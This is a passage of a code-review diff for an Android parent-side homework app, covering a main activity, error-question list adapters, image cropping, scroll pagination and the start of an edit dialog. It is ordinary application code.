37 | ConstraintLayout cl_me; | 47 | ConstraintLayout cl_me; |
38 | ImageView iv_3, iv_4; | 48 | ImageView iv_3, iv_4; |
39 | TextView tv_1, tv_4; | 49 | TextView tv_1, tv_4; |
40 | 50 | ||
41 | @Override | 51 | @Override |
42 | protected void initView() { | 52 | protected void initView() { |
43 | showFragment(getHomeFragment(), R.id.rl_content); | 53 | showFragment(getHomeFragment(), R.id.rl_content); |
44 | cl_home = findViewById(R.id.cl_home); | 54 | cl_home = findViewById(R.id.cl_home); |
45 | cl_me = findViewById(R.id.cl_me); | 55 | cl_me = findViewById(R.id.cl_me); |
46 | iv_3 = findViewById(R.id.iv_3); | 56 | iv_3 = findViewById(R.id.iv_3); |
47 | iv_4 = findViewById(R.id.iv_4); | 57 | iv_4 = findViewById(R.id.iv_4); |
48 | tv_1 = findViewById(R.id.tv_1); | 58 | tv_1 = findViewById(R.id.tv_1); |
49 | tv_4 = findViewById(R.id.tv_4); | 59 | tv_4 = findViewById(R.id.tv_4); |
50 | iv_3.setBackgroundResource(R.mipmap.hoss); | 60 | iv_3.setBackgroundResource(R.mipmap.hoss); |
51 | tv_1.setTextColor(Color.parseColor("#FE5E09")); | 61 | tv_1.setTextColor(Color.parseColor("#FE5E09")); |
62 | NetWorks.getBaiduToken(new Observer<JsonObject>() { | ||
63 | @Override | ||
64 | public void onSubscribe(Disposable d) { | ||
65 | |||
66 | } | ||
67 | |||
68 | @Override | ||
69 | public void onNext(JsonObject jsonObject) { | ||
70 | SharedPreferencesUtil.putData("baiduToken", jsonObject.get("access_token").getAsString()); | ||
71 | } | ||
72 | |||
73 | @Override | ||
74 | public void onError(Throwable e) { | ||
75 | |||
76 | } | ||
77 | |||
78 | @Override | ||
79 | public void onComplete() { | ||
80 | |||
81 | } | ||
82 | }); | ||
83 | NetWorks.listGradeAndSubject(new Observer<ResponseResult<List<GradeAndSubject>>>() { | ||
84 | @Override | ||
85 | public void onSubscribe(Disposable d) { | ||
86 | |||
87 | } | ||
88 | |||
89 | @Override | ||
90 | public void onNext(ResponseResult<List<GradeAndSubject>> listResponseResult) { | ||
91 | App.getInstance().setGradeAndSubjects(listResponseResult.getData()); | ||
92 | } | ||
93 | |||
94 | @Override | ||
95 | public void onError(Throwable e) { | ||
96 | e.toString(); | ||
97 | } | ||
98 | |||
99 | @Override | ||
100 | public void onComplete() { | ||
101 | |||
102 | } | ||
103 | }); | ||
52 | } | 104 | } |
53 | 105 | ||
54 | public HomeFragment getHomeFragment() { | 106 | public HomeFragment getHomeFragment() { |
55 | if (homeFragment == null) | 107 | if (homeFragment == null) |
56 | homeFragment = new HomeFragment(); | 108 | homeFragment = new HomeFragment(); |
57 | return homeFragment; | 109 | return homeFragment; |
58 | } | 110 | } |
59 | 111 | ||
60 | public MeFragment getMeFragment() { | 112 | public MeFragment getMeFragment() { |
61 | if (meFragment == null) | 113 | if (meFragment == null) |
62 | meFragment = new MeFragment(); | 114 | meFragment = new MeFragment(); |
63 | return meFragment; | 115 | return meFragment; |
64 | } | 116 | } |
65 | 117 | ||
66 | 118 | ||
67 | @Override | 119 | @Override |
68 | protected void initListener() { | 120 | protected void initListener() { |
69 | cl_home.setOnClickListener(view -> { | 121 | cl_home.setOnClickListener(view -> { |
70 | showFragment(getHomeFragment(), R.id.rl_content); | 122 | showFragment(getHomeFragment(), R.id.rl_content); |
71 | iv_3.setBackgroundResource(R.mipmap.hoss); | 123 | iv_3.setBackgroundResource(R.mipmap.hoss); |
72 | tv_1.setTextColor(Color.parseColor("#FE5E09")); | 124 | tv_1.setTextColor(Color.parseColor("#FE5E09")); |
73 | iv_4.setBackgroundResource(R.mipmap.wmus); | 125 | iv_4.setBackgroundResource(R.mipmap.wmus); |
74 | tv_4.setTextColor(Color.parseColor("#333333")); | 126 | tv_4.setTextColor(Color.parseColor("#333333")); |
75 | }); | 127 | }); |
76 | 128 | ||
77 | cl_me.setOnClickListener(view -> { | 129 | cl_me.setOnClickListener(view -> { |
78 | showFragment(getMeFragment(), R.id.rl_content); | 130 | showFragment(getMeFragment(), R.id.rl_content); |
79 | iv_3.setBackgroundResource(R.mipmap.hous); | 131 | iv_3.setBackgroundResource(R.mipmap.hous); |
80 | tv_1.setTextColor(Color.parseColor("#333333")); | 132 | tv_1.setTextColor(Color.parseColor("#333333")); |
81 | iv_4.setBackgroundResource(R.mipmap.wmss); | 133 | iv_4.setBackgroundResource(R.mipmap.wmss); |
82 | tv_4.setTextColor(Color.parseColor("#FE5E09")); | 134 | tv_4.setTextColor(Color.parseColor("#FE5E09")); |
83 | }); | 135 | }); |
84 | } | 136 | } |
85 | 137 | ||
86 | @Override | 138 | @Override |
87 | protected void initData() { | 139 | protected void initData() { |
88 | 140 | ||
89 | } | 141 | } |
90 | 142 | ||
91 | @Override | 143 | @Override |
92 | public void onNetChanged(int netWorkState) { | 144 | public void onNetChanged(int netWorkState) { |
93 | 145 | ||
94 | } | 146 | } |
95 | } | 147 | } |
app/src/main/java/com/hjx/parent/MyApplication.java
1 | package com.hjx.parent; | File was deleted | |
2 | |||
3 | import com.prws.common.CommonApplication; | ||
4 | import com.prws.common.utils.SharedPreferencesUtil; | ||
5 | import com.uuzuche.lib_zxing.activity.ZXingLibrary; | ||
6 | |||
7 | public class MyApplication extends CommonApplication { | ||
8 | |||
9 | @Override | ||
10 | public void onCreate() { | ||
11 | super.onCreate(); | ||
12 | |||
13 | SharedPreferencesUtil.getInstance(this,"config"); | ||
14 | |||
15 | ZXingLibrary.initDisplayOpinion(this); | ||
16 | |||
17 | } | ||
18 | } | ||
19 | 1 | package com.hjx.parent; |
app/src/main/java/com/hjx/parent/adapter/ErrorAdapter.java
File was created | 1 | package com.hjx.parent.adapter; | |
2 | |||
3 | import android.content.Context; | ||
4 | import android.content.Intent; | ||
5 | import android.graphics.drawable.Drawable; | ||
6 | import android.text.TextUtils; | ||
7 | import android.view.LayoutInflater; | ||
8 | import android.view.View; | ||
9 | import android.view.ViewGroup; | ||
10 | import android.webkit.WebSettings; | ||
11 | import android.widget.LinearLayout; | ||
12 | |||
13 | import androidx.annotation.NonNull; | ||
14 | import androidx.annotation.Nullable; | ||
15 | import androidx.recyclerview.widget.RecyclerView; | ||
16 | |||
17 | import com.bumptech.glide.Glide; | ||
18 | import com.bumptech.glide.request.target.SimpleTarget; | ||
19 | import com.bumptech.glide.request.transition.Transition; | ||
20 | import com.hjx.parent.ErrorDetailActivity; | ||
21 | import com.hjx.parent.R; | ||
22 | import com.hjx.parent.databinding.ItemErrorBinding; | ||
23 | import com.prws.common.bean.ErrorDetailBean; | ||
24 | import com.prws.common.bean.TopicBean; | ||
25 | import com.prws.common.utils.CommonUtil; | ||
26 | import com.prws.common.utils.StringUtils; | ||
27 | |||
28 | import java.text.SimpleDateFormat; | ||
29 | import java.util.ArrayList; | ||
30 | import java.util.List; | ||
31 | |||
32 | public class ErrorAdapter extends RecyclerView.Adapter<RecyclerView.ViewHolder> { | ||
33 | private List<TopicBean> list; | ||
34 | private Context context; | ||
35 | public boolean edit; | ||
36 | private CheckInterface checkInterface; | ||
37 | |||
38 | public interface CheckInterface { | ||
39 | void onErrorCheck(); | ||
40 | } | ||
41 | |||
42 | public ErrorAdapter(Context context, List<TopicBean> list, boolean edit, CheckInterface checkInterface) { | ||
43 | this.list = list; | ||
44 | this.context = context; | ||
45 | this.edit = edit; | ||
46 | this.checkInterface = checkInterface; | ||
47 | } | ||
48 | |||
49 | public ErrorAdapter(Context context, List<TopicBean> list, boolean edit) { | ||
50 | this.list = list; | ||
51 | this.context = context; | ||
52 | this.edit = edit; | ||
53 | } | ||
54 | |||
55 | public void checkAll(boolean check) { | ||
56 | for (TopicBean topicBean : list) { | ||
57 | topicBean.setCheck(check); | ||
58 | } | ||
59 | notifyDataSetChanged(); | ||
60 | checkInterface.onErrorCheck(); | ||
61 | } | ||
62 | |||
63 | public List<TopicBean> getChecKList() { | ||
64 | List<TopicBean> topicBeans = new ArrayList<>(); | ||
65 | for (TopicBean topicBean : list) { | ||
66 | if (topicBean.isCheck()) { | ||
67 | topicBeans.add(topicBean); | ||
68 | } | ||
69 | } | ||
70 | return topicBeans; | ||
71 | } | ||
72 | |||
73 | public void setEdit(boolean edit) { | ||
74 | this.edit = edit; | ||
75 | notifyDataSetChanged(); | ||
76 | } | ||
77 | |||
78 | public void addData(List<TopicBean> topicBeans) { | ||
79 | list.addAll(topicBeans); | ||
80 | notifyDataSetChanged(); | ||
81 | } | ||
82 | |||
83 | public void refresh(List<TopicBean> list) { | ||
84 | this.list = list; | ||
85 | notifyDataSetChanged(); | ||
86 | } | ||
87 | |||
88 | @NonNull | ||
89 | @Override | ||
90 | public RecyclerView.ViewHolder onCreateViewHolder(@NonNull ViewGroup parent, int viewType) { | ||
91 | ItemErrorBinding itemTopicBinding = ItemErrorBinding.inflate(LayoutInflater.from(parent.getContext()), parent, false); | ||
92 | return new ErrorHolder(itemTopicBinding); | ||
93 | } | ||
94 | |||
95 | @Override | ||
96 | public void onBindViewHolder(@NonNull RecyclerView.ViewHolder viewHolder, int position) { | ||
97 | TopicBean topicBean = list.get(position); | ||
98 | ErrorHolder holder = (ErrorHolder) viewHolder; | ||
99 | holder.binding.ivCheck.setVisibility(edit ? View.VISIBLE : View.GONE); | ||
100 | holder.binding.ivCheck.setImageResource(topicBean.isCheck() ? R.mipmap.ic_select : R.mipmap.ic_unselect); | ||
101 | SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd"); | ||
102 | if (position == 0 || !format.format(list.get(position - 1).getTime()).equals(format.format(topicBean.getTime()))) { | ||
103 | holder.binding.tvTime.setVisibility(View.VISIBLE); | ||
104 | holder.binding.tvTime.setText(format.format(topicBean.getTime())); | ||
105 | } else { | ||
106 | holder.binding.tvTime.setVisibility(View.GONE); | ||
107 | } | ||
108 | if (topicBean.isDone()) { | ||
109 | holder.binding.tvType.setText(context.getString(R.string.text_done)); | ||
110 | holder.binding.tvType.setBackgroundResource(R.drawable.bg_done_text); | ||
111 | } else { | ||
112 | holder.binding.tvType.setText(context.getString(R.string.text_undo)); | ||
113 | holder.binding.tvType.setBackgroundResource(R.drawable.bg_undo_text); | ||
114 | } | ||
115 | holder.binding.tvReason.setText("错因:" + context.getResources().getStringArray(R.array.error_reason)[topicBean.getReason()]); | ||
116 | if (topicBean.getBean() != null) { | ||
117 | ErrorDetailBean bean = topicBean.getBean(); | ||
118 | holder.binding.ivTopic.setVisibility(View.GONE); | ||
119 | String linkCss = "<link rel=\"stylesheet\" href=\"file:///android_asset/style.css\" type=\"text/css\">"; | ||
120 | StringBuilder sb = new StringBuilder(4096); | ||
121 | if (!TextUtils.isEmpty(bean.getLabel())) { | ||
122 | sb.append(bean.getLabel()); | ||
123 | } | ||
124 | sb.append(bean.getContent()); | ||
125 | if (bean.getOptions() != null && bean.getOptions().size() > 0) { | ||
126 | sb.append("<div class='pt1'>"); | ||
127 | sb.append(StringUtils.OptionsHtml(bean.getOptions(), null)); | ||
128 | sb.append("</div>"); | ||
129 | } | ||
130 | String body = "<html><header>" + linkCss + "</header>" + sb.toString() + "</body></html>"; | ||
131 | WebSettings settings = holder.binding.webview.getSettings(); | ||
132 | // settings.setUseWideViewPort(true);//设定支持 viewport | ||
133 | // settings.setLoadWithOverviewMode(true); //自适应屏幕 | ||
134 | // settings.setBuiltInZoomControls(true); | ||
135 | // settings.setDisplayZoomControls(false); | ||
136 | // settings.setSupportZoom(false);//设定支持缩放 | ||
137 | holder.binding.webview.loadDataWithBaseURL(linkCss, body, "text/html", "UTF-8", null); | ||
138 | holder.binding.webview.setVisibility(View.VISIBLE); | ||
139 | if (bean.getPoints().size() > 0) { | ||
140 | String topic = context.getString(R.string.topic_start); | ||
141 | topic += ":"; | ||
142 | |||
143 | for (int j = 0; j < bean.getPoints().size(); j++) { | ||
144 | if (j > 0) { | ||
145 | topic += "、"; | ||
146 | } | ||
147 | topic += bean.getPoints().get(j).getValue(); | ||
148 | } | ||
149 | holder.binding.tvPoint.setText(topic); | ||
150 | holder.binding.tvPoint.setVisibility(View.VISIBLE); | ||
151 | } else { | ||
152 | holder.binding.tvPoint.setVisibility(View.GONE); | ||
153 | } | ||
154 | } else { | ||
155 | holder.binding.webview.setVisibility(View.GONE); | ||
156 | holder.binding.tvPoint.setVisibility(View.GONE); | ||
157 | holder.binding.ivTopic.setVisibility(View.VISIBLE); | ||
158 | int maxWidth = CommonUtil.getScreenWidth(context) - CommonUtil.dpToPx(context, 60); | ||
159 | Glide.with(context).load(topicBean.getPath()).into(new SimpleTarget<Drawable>() { | ||
160 | @Override | ||
161 | public void onResourceReady(@NonNull Drawable resource, @Nullable Transition<? super Drawable> transition) { | ||
162 | int width = resource.getIntrinsicWidth(); | ||
163 | int height = resource.getIntrinsicHeight(); | ||
164 | int newHeight = maxWidth * height / width; | ||
165 | LinearLayout.LayoutParams layoutParams = (LinearLayout.LayoutParams) holder.binding.ivTopic.getLayoutParams(); | ||
166 | layoutParams.width = maxWidth; | ||
167 | layoutParams.height = newHeight; | ||
168 | holder.binding.ivTopic.setLayoutParams(layoutParams); | ||
169 | holder.binding.ivTopic.setImageDrawable(resource); | ||
170 | } | ||
171 | }); | ||
172 | } | ||
173 | holder.itemView.setOnClickListener(new View.OnClickListener() { | ||
174 | @Override | ||
175 | public void onClick(View v) { | ||
176 | if (edit) { | ||
177 | list.get(position).setCheck(!topicBean.isCheck()); | ||
178 | notifyItemChanged(position); | ||
179 | checkInterface.onErrorCheck(); | ||
180 | } else { | ||
181 | Intent intent = new Intent(context, ErrorDetailActivity.class); | ||
182 | intent.putExtra("errorBean", topicBean); | ||
183 | context.startActivity(intent); | ||
184 | } | ||
185 | } | ||
186 | }); | ||
187 | } | ||
188 | |||
189 | @Override | ||
190 | public int getItemCount() { | ||
191 | return list.size(); | ||
192 | } | ||
193 | |||
194 | static class ErrorHolder extends RecyclerView.ViewHolder { | ||
195 | ItemErrorBinding binding; | ||
196 | |||
197 | public ErrorHolder(@NonNull ItemErrorBinding itemView) { | ||
198 | super(itemView.getRoot()); | ||
199 | binding = itemView; | ||
200 | } | ||
201 | } | ||
202 | } | ||
203 |
app/src/main/java/com/hjx/parent/adapter/FilterAdapter.java
File was created | 1 | package com.hjx.parent.adapter; | |
2 | |||
3 | import android.content.Context; | ||
4 | import android.graphics.Color; | ||
5 | import android.view.LayoutInflater; | ||
6 | import android.view.View; | ||
7 | import android.view.ViewGroup; | ||
8 | import android.widget.TextView; | ||
9 | |||
10 | import androidx.annotation.NonNull; | ||
11 | import androidx.recyclerview.widget.RecyclerView; | ||
12 | |||
13 | |||
14 | import com.hjx.parent.R; | ||
15 | import com.hjx.parent.databinding.ItemFilterTextBinding; | ||
16 | |||
17 | import java.util.List; | ||
18 | |||
19 | public class FilterAdapter extends RecyclerView.Adapter<RecyclerView.ViewHolder> { | ||
20 | private TextView type; | ||
21 | private List<String> list; | ||
22 | private Filter filter; | ||
23 | private Context context; | ||
24 | private String key; | ||
25 | |||
26 | public interface Filter { | ||
27 | void onSelect(TextView type, String select); | ||
28 | } | ||
29 | |||
30 | public FilterAdapter(Context context, Filter filter, List<String> list, TextView type, String key) { | ||
31 | this.context = context; | ||
32 | this.type = type; | ||
33 | this.filter = filter; | ||
34 | this.list = list; | ||
35 | this.key = key; | ||
36 | } | ||
37 | |||
38 | public void refresh(List<String> list, TextView type, String key) { | ||
39 | this.type = type; | ||
40 | this.list = list; | ||
41 | this.key = key; | ||
42 | notifyDataSetChanged(); | ||
43 | } | ||
44 | |||
45 | public void refresh(String key) { | ||
46 | this.key = key; | ||
47 | notifyDataSetChanged(); | ||
48 | } | ||
49 | |||
50 | @NonNull | ||
51 | @Override | ||
52 | public RecyclerView.ViewHolder onCreateViewHolder(@NonNull ViewGroup parent, int viewType) { | ||
53 | ItemFilterTextBinding itemFilterBinding = ItemFilterTextBinding.inflate(LayoutInflater.from(parent.getContext()), parent, false); | ||
54 | return new FilterHolder(itemFilterBinding); | ||
55 | } | ||
56 | |||
57 | @Override | ||
58 | public void onBindViewHolder(@NonNull RecyclerView.ViewHolder viewHolder, int i) { | ||
59 | FilterHolder holder = (FilterHolder) viewHolder; | ||
60 | String value = list.get(i); | ||
61 | holder.binding.tvFilter.setText(value); | ||
62 | if (value.equals(key)) { | ||
63 | holder.binding.tvFilter.setTextColor(Color.WHITE); | ||
64 | holder.binding.tvFilter.setBackgroundResource(R.drawable.bg_soild_blue_25); | ||
65 | } else { | ||
66 | holder.binding.tvFilter.setTextColor(context.getColor(R.color.text_title)); | ||
67 | holder.binding.tvFilter.setBackgroundResource(R.drawable.bg_solid_btn_grad); | ||
68 | } | ||
69 | holder.itemView.setOnClickListener(new View.OnClickListener() { | ||
70 | @Override | ||
71 | public void onClick(View view) { | ||
72 | filter.onSelect(type, value); | ||
73 | } | ||
74 | }); | ||
75 | } | ||
76 | |||
77 | @Override | ||
78 | public int getItemCount() { | ||
79 | return list.size(); | ||
80 | } | ||
81 | |||
82 | static class FilterHolder extends RecyclerView.ViewHolder { | ||
83 | ItemFilterTextBinding binding; | ||
84 | |||
85 | public FilterHolder(@NonNull ItemFilterTextBinding itemView) { | ||
86 | super(itemView.getRoot()); | ||
87 | binding = itemView; | ||
88 | } | ||
89 | } | ||
90 | } | ||
91 |
app/src/main/java/com/hjx/parent/adapter/ImageAdapter.java
File was created | 1 | package com.hjx.parent.adapter; | |
2 | |||
3 | import android.content.Context; | ||
4 | import android.content.Intent; | ||
5 | import android.graphics.Bitmap; | ||
6 | import android.graphics.BitmapFactory; | ||
7 | import android.graphics.Rect; | ||
8 | import android.graphics.RectF; | ||
9 | import android.util.Log; | ||
10 | import android.view.LayoutInflater; | ||
11 | import android.view.View; | ||
12 | import android.view.ViewGroup; | ||
13 | import android.widget.ImageView; | ||
14 | import android.widget.RelativeLayout; | ||
15 | |||
16 | import androidx.annotation.NonNull; | ||
17 | import androidx.recyclerview.widget.RecyclerView; | ||
18 | |||
19 | import com.google.gson.Gson; | ||
20 | import com.hjx.parent.ImageActivity; | ||
21 | import com.hjx.parent.ImageSelectActivity; | ||
22 | import com.hjx.parent.R; | ||
23 | import com.hjx.parent.databinding.ItemImageBinding; | ||
24 | import com.prws.common.bean.ImageBean; | ||
25 | import com.prws.common.utils.CommonUtil; | ||
26 | |||
27 | import java.util.List; | ||
28 | |||
29 | public class ImageAdapter extends RecyclerView.Adapter<ImageAdapter.ImageHolder> { | ||
30 | private List<ImageBean> list; | ||
31 | private ImageActivity context; | ||
32 | |||
33 | public ImageAdapter(ImageActivity context, List<ImageBean> list) { | ||
34 | this.context = context; | ||
35 | this.list = list; | ||
36 | } | ||
37 | |||
38 | @NonNull | ||
39 | @Override | ||
40 | public ImageHolder onCreateViewHolder(@NonNull ViewGroup parent, int viewType) { | ||
41 | ItemImageBinding itemImageBinding = ItemImageBinding.inflate(LayoutInflater.from(parent.getContext()), parent, false); | ||
42 | return new ImageHolder(itemImageBinding); | ||
43 | } | ||
44 | |||
45 | @Override | ||
46 | public void onBindViewHolder(@NonNull ImageHolder holder, int position) { | ||
47 | ImageBean imageBean = list.get(position); | ||
48 | Bitmap bitmap = BitmapFactory.decodeFile(imageBean.getPath()); | ||
49 | float imageHeight = bitmap.getHeight(); | ||
50 | float imageWidth = bitmap.getWidth(); | ||
51 | float viewHeight = CommonUtil.getScreenHeight(context) - CommonUtil.dpToPx(context, 250); | ||
52 | float viewWidth = CommonUtil.getScreenWidth(context) - CommonUtil.dpToPx(context, 60); | ||
53 | |||
54 | RelativeLayout.LayoutParams layoutParams = new RelativeLayout.LayoutParams(holder.binding.ivPic.getLayoutParams()); | ||
55 | if (imageHeight / imageWidth > viewHeight / viewWidth) { | ||
56 | if (viewHeight > imageHeight) { | ||
57 | layoutParams.height = (int) imageHeight; | ||
58 | layoutParams.width = (int) imageWidth; | ||
59 | } else { | ||
60 | layoutParams.height = (int) viewHeight; | ||
61 | layoutParams.width = (int) ((float) (imageWidth / imageHeight) * viewHeight); | ||
62 | } | ||
63 | } else { | ||
64 | if (viewWidth > imageWidth) { | ||
65 | layoutParams.height = (int) imageHeight; | ||
66 | layoutParams.width = (int) imageWidth; | ||
67 | } else { | ||
68 | layoutParams.height = (int) ((float) (imageHeight / imageWidth) * viewWidth); | ||
69 | layoutParams.width = (int) viewWidth; | ||
70 | } | ||
71 | } | ||
72 | layoutParams.addRule(RelativeLayout.CENTER_IN_PARENT); | ||
73 | holder.binding.ivPic.setLayoutParams(layoutParams); | ||
74 | holder.binding.ivPic.setImageBitmap(bitmap); | ||
75 | |||
76 | |||
77 | RelativeLayout.LayoutParams layoutParams1 = new RelativeLayout.LayoutParams(holder.binding.rlPic.getLayoutParams()); | ||
78 | if (imageHeight / imageWidth > viewHeight / viewWidth) { | ||
79 | if (viewHeight > imageHeight) { | ||
80 | layoutParams1.height = (int) imageHeight; | ||
81 | layoutParams1.width = (int) imageWidth; | ||
82 | } else { | ||
83 | layoutParams1.height = (int) viewHeight; | ||
84 | layoutParams1.width = (int) ((float) (imageWidth / imageHeight) * viewHeight); | ||
85 | } | ||
86 | } else { | ||
87 | if (viewWidth > imageWidth) { | ||
88 | layoutParams1.height = (int) imageHeight; | ||
89 | layoutParams1.width = (int) imageWidth; | ||
90 | } else { | ||
91 | layoutParams1.height = (int) ((float) (imageHeight / imageWidth) * viewWidth); | ||
92 | layoutParams1.width = (int) viewWidth; | ||
93 | } | ||
94 | } | ||
95 | Log.i("figLoaction", "height=" + layoutParams1.height + " width=" + layoutParams1.width); | ||
96 | layoutParams1.addRule(RelativeLayout.CENTER_IN_PARENT); | ||
97 | holder.binding.rlPic.setLayoutParams(layoutParams1); | ||
98 | if (imageBean.getCuts() != null && imageBean.getCuts().size() > 0) { | ||
99 | holder.binding.rlPic.removeAllViews(); | ||
100 | for (int i = 0; i < imageBean.getCuts().size(); i++) { | ||
101 | View view = LayoutInflater.from(context).inflate(R.layout.layout_select, null); | ||
102 | Rect rect; | ||
103 | if (imageBean.getCuts().get(i).getRect1() != null) { | ||
104 | rect = imageBean.getCuts().get(i).getRect1(); | ||
105 | } else { | ||
106 | rect = CommonUtil.getRect(imageBean.getCuts().get(i).getRect(), bitmap, layoutParams1.height, layoutParams1.width); | ||
107 | imageBean.getCuts().get(i).setRect1(rect); | ||
108 | } | ||
109 | Log.i("figLoaction", new Gson().toJson(rect)); | ||
110 | RelativeLayout.LayoutParams params = new RelativeLayout.LayoutParams(rect.right - rect.left, rect.bottom - rect.top); | ||
111 | params.setMargins(rect.left, rect.top, 0, 0); | ||
112 | holder.binding.rlPic.addView(view, params); | ||
113 | RelativeLayout rl_add = view.findViewById(R.id.rl_add); | ||
114 | ImageView iv_state = view.findViewById(R.id.iv_state); | ||
115 | ImageView iv_edit = view.findViewById(R.id.iv_edit); | ||
116 | int finalI = i; | ||
117 | rl_add.setOnClickListener(new View.OnClickListener() { | ||
118 | @Override | ||
119 | public void onClick(View v) { | ||
120 | Bitmap b = Bitmap.createBitmap(bitmap, v.getLeft() * bitmap.getWidth() / holder.binding.ivPic.getWidth(), v.getTop() * bitmap.getHeight() / holder.binding.ivPic.getHeight(), (v.getRight() - v.getLeft()) * bitmap.getWidth() / holder.binding.ivPic.getWidth(), (v.getBottom() - v.getTop()) * bitmap.getHeight() / holder.binding.ivPic.getHeight()); | ||
121 | if (imageBean.getCuts().get(finalI).isSelect()) { | ||
122 | imageBean.getCuts().get(finalI).setSelect(false); | ||
123 | rl_add.setBackgroundResource(R.drawable.bg_cut_unselect); | ||
124 | iv_state.setImageResource(R.mipmap.ic_add); | ||
125 | } else { | ||
126 | imageBean.getCuts().get(finalI).setSelect(true); | ||
127 | imageBean.getCuts().get(finalI).setBitmap(b); | ||
128 | rl_add.setBackgroundResource(R.drawable.bg_cut_select); | ||
129 | iv_state.setImageResource(R.mipmap.ic_selected); | ||
130 | } | ||
131 | context.refreshNum(); | ||
132 | } | ||
133 | }); | ||
134 | iv_edit.setOnClickListener(new View.OnClickListener() { | ||
135 | @Override | ||
136 | public void onClick(View v) { | ||
137 | Intent intent = new Intent(context, ImageSelectActivity.class); | ||
138 | intent.putExtra("rect", rect); | ||
139 | intent.putExtra("path", imageBean.getPath()); | ||
140 | intent.putExtra("position", finalI); | ||
141 | context.startActivityForResult(intent, 1001); | ||
142 | } | ||
143 | }); | ||
144 | } | ||
145 | } | ||
146 | } | ||
147 | |||
148 | @Override | ||
149 | public int getItemCount() { | ||
150 | return list.size(); | ||
151 | } | ||
152 | |||
153 | static class ImageHolder extends RecyclerView.ViewHolder { | ||
154 | ItemImageBinding binding; | ||
155 | |||
156 | public ImageHolder(@NonNull ItemImageBinding itemView) { | ||
157 | super(itemView.getRoot()); | ||
158 | binding = itemView; | ||
159 | } | ||
160 | } | ||
161 | } | ||
162 |
app/src/main/java/com/hjx/parent/adapter/LoadMoreOnScrollListener.java
File was created | 1 | package com.hjx.parent.adapter; | |
2 | |||
3 | |||
4 | import androidx.annotation.NonNull; | ||
5 | import androidx.recyclerview.widget.LinearLayoutManager; | ||
6 | import androidx.recyclerview.widget.RecyclerView; | ||
7 | |||
8 | public abstract class LoadMoreOnScrollListener extends RecyclerView.OnScrollListener { | ||
9 | |||
10 | private LinearLayoutManager mLinearLayoutManager; | ||
11 | |||
12 | private int currentPage = 1; | ||
13 | |||
14 | /** | ||
15 | * 已经加载出来的item个数 | ||
16 | */ | ||
17 | private int totalItemCount; | ||
18 | |||
19 | /** | ||
20 | * 上一个totalItemCount | ||
21 | */ | ||
22 | private int previousTotal = 0; | ||
23 | |||
24 | /** | ||
25 | * 屏幕上可见item个数 | ||
26 | */ | ||
27 | private int visibleItemCount; | ||
28 | |||
29 | /** | ||
30 | * 屏幕可见item的第一个 | ||
31 | */ | ||
32 | private int firstVisiableItem; | ||
33 | |||
34 | /** | ||
35 | * 是否正在上拉数据 | ||
36 | */ | ||
37 | private boolean isPulling = true; | ||
38 | |||
39 | public LoadMoreOnScrollListener(LinearLayoutManager linearLayoutManager) { | ||
40 | this.mLinearLayoutManager = linearLayoutManager; | ||
41 | } | ||
42 | |||
43 | @Override | ||
44 | public void onScrolled(@NonNull RecyclerView recyclerView, int dx, int dy) { | ||
45 | super.onScrolled(recyclerView, dx, dy); | ||
46 | // 可见item个数 | ||
47 | visibleItemCount = recyclerView.getChildCount(); | ||
48 | // item总数 | ||
49 | totalItemCount = mLinearLayoutManager.getItemCount(); | ||
50 | // 第一个可见item | ||
51 | firstVisiableItem = mLinearLayoutManager.findFirstVisibleItemPosition(); | ||
52 | |||
53 | if (isPulling) { | ||
54 | if (totalItemCount > previousTotal) { | ||
55 | // 数据成功获取才会执行 说明数据已经加载结束 | ||
56 | isPulling = false; | ||
57 | previousTotal = totalItemCount; | ||
58 | } | ||
59 | } | ||
60 | |||
61 | //如果获取数据失败,则不会这行此处,因为loading始终为true | ||
62 | //当最后一个item可见时,执行加载 | ||
63 | if (!isPulling && totalItemCount - visibleItemCount <= firstVisiableItem) { | ||
64 | currentPage ++; | ||
65 | onLoadMore(currentPage); | ||
66 | isPulling = true; | ||
67 | } | ||
68 | } | ||
69 | |||
70 | public abstract void onLoadMore(int currentPage); | ||
71 | } | ||
72 |
app/src/main/java/com/hjx/parent/dialog/ErrorEditDialog.java
File was created | 1 | package com.hjx.parent.dialog; | |
2 | |||
3 | import android.app.Dialog; | ||
4 | import android.content.Context; | ||
5 | import android.content.Intent; | ||
6 | import android.graphics.Color; | ||
7 | import android.os.Bundle; | ||
8 | import android.view.Gravity; | ||
9 | import android.view.View; | ||
10 | import android.view.Window; | ||
11 | import android.view.WindowManager; | ||
12 | import android.widget.AdapterView; | ||
13 | import android.widget.ArrayAdapter; | ||
14 | import android.widget.CompoundButton; | ||
15 | import android.widget.RadioButton; | ||
16 | import android.widget.RadioGroup; | ||
17 | |||
18 | import androidx.annotation.NonNull; | ||
19 | import androidx.recyclerview.widget.LinearLayoutManager; | ||
20 | import androidx.recyclerview.widget.RecyclerView; | ||
21 | |||
22 | import com.bumptech.glide.Glide; | ||
23 | import com.chad.library.adapter.base.BaseQuickAdapter; | ||
24 | import com.chad.library.adapter.base.BaseViewHolder; | ||
25 | import com.google.gson.Gson; | ||
26 | import com.hjx.parent.AddSuccessActivity; | ||
27 | import com.hjx.parent.App; | ||
28 | import com.hjx.parent.ImageActivity; | ||
29 | import com.hjx.parent.R; | ||
30 | import com.hjx.parent.bean.StudentBean; | ||
31 | import com.hjx.parent.databinding.DialogAddErrorBinding; | ||
32 | import com.hjx.parent.databinding.DialogEditErrorBinding; | ||
33 | import com.prws.common.bean.Grade; | ||
34 | import com.prws.common.bean.GradeAndSubject; | ||
35 | import com.prws.common.bean.ResponseResult; | ||
36 | import com.prws.common.bean.Subject; | ||
37 | import com.prws.common.bean.TopicBean; | ||
38 | import com.prws.common.net.NetWorks; | ||
39 | import com.prws.common.utils.CommonUtil; | ||
40 | import com.prws.common.utils.SharedPreferencesUtil; | ||
41 | import com.prws.common.utils.StringUtils; | ||
42 | |||
43 | import java.util.ArrayList; | ||
44 | import java.util.HashMap; | ||
45 | import java.util.List; | ||
46 | import java.util.Map; | ||
47 | |||
48 | import io.reactivex.Observer; | ||
49 | import io.reactivex.disposables.Disposable; | ||
50 | |||
51 | public class ErrorEditDialog extends Dialog { | ||
52 | private Context context; | ||
53 | private DialogEditErrorBinding binding; | ||
54 | private List<TopicBean> list; | ||
55 | private Grade grade; | ||
56 | private Subject subject; | ||
57 | private int reason; | ||
58 | private int type = 0; | ||
59 | private EditInterface editInterface; | ||
60 | |||
61 | public interface EditInterface { | ||
62 | void edit(String name, int reason); | ||
63 | } | ||
64 | |||
65 | public ErrorEditDialog(@NonNull Context context, List<TopicBean> list, EditInterface editInterface) { | ||
